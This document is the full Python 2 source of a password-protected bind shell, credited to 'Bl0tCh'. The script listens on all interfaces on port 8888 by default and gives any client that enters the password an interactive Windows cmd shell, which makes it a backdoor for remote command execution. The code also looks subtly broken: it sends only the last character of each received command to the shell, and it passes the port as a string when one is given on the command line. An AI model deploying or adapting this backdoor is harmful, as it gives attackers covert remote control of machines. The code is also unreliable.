BINDSHELL BASIQUE

#
# A simple BindShell in Python
#
# Usage : bindshell.py port pass
#
import socket, thread, subprocess, sys, time

class BindShell:
    """Simple BindShell avec mdp
    """
    def __init__(self, port, passwd='BindShell'):
        self.passwd=passwd
        self.port=port
        self.running=False 
        self.inf=open('log.bl', 'w')
        self.out=open('log.bl', 'r')
    def __wait_for_con(self):
        while self.running==True:
            clientsock, ip=self.sock.accept()
            self.__ident(clientsock)

    def __ident(self, sock):
        try:
            sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
            pw=''
            while 1:
                msg=sock.recv(1024)
                if(msg[-1]=='\n'):
                    if(pw+msg[:-2]==self.passwd) : break
                    else : pw=''; sock.send('\r\nRetry : ')
                else:
                    pw+=msg
            sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
            thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
        except:
            sock.close()

    def __make_shell(self, sock):
        child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
        time.sleep(0.15)
        self.__output(sock, self.out.read().replace('\n', '\r\n'))
        return child.stdin.write

    def __wait_msg(self, sock, shell):
        while self.running==True:
            try:
                cmd=sock.recv(1024)
            except:
                break
            try:
                shell(cmd[-1])
            except:
                continue
            time.sleep(0.15)
            if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
        try:
            sock.close()
        except:
            pass

    def __output(self, sock , output):
        try:
            sock.sendall(output)
            return 1
        except:
            return 0

    def start(self):
        if(self.running==False):
            self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.bind(('0.0.0.0', self.port))
            self.sock.listen(1)
            self.running=True
            self.__wait_for_con()

    def stop(self):
        self.running=False
        self.sock.close()

if __name__=='__main__':
    print 'testing BindShell'
    port, passwd=8888, 'BindShell'
    if(len(sys.argv)!=1):
        try:
            port=sys.argv[1]
            passwd=sys.argv[2]
        except:
            pass
    b=BindShell(port, passwd)
    b.start()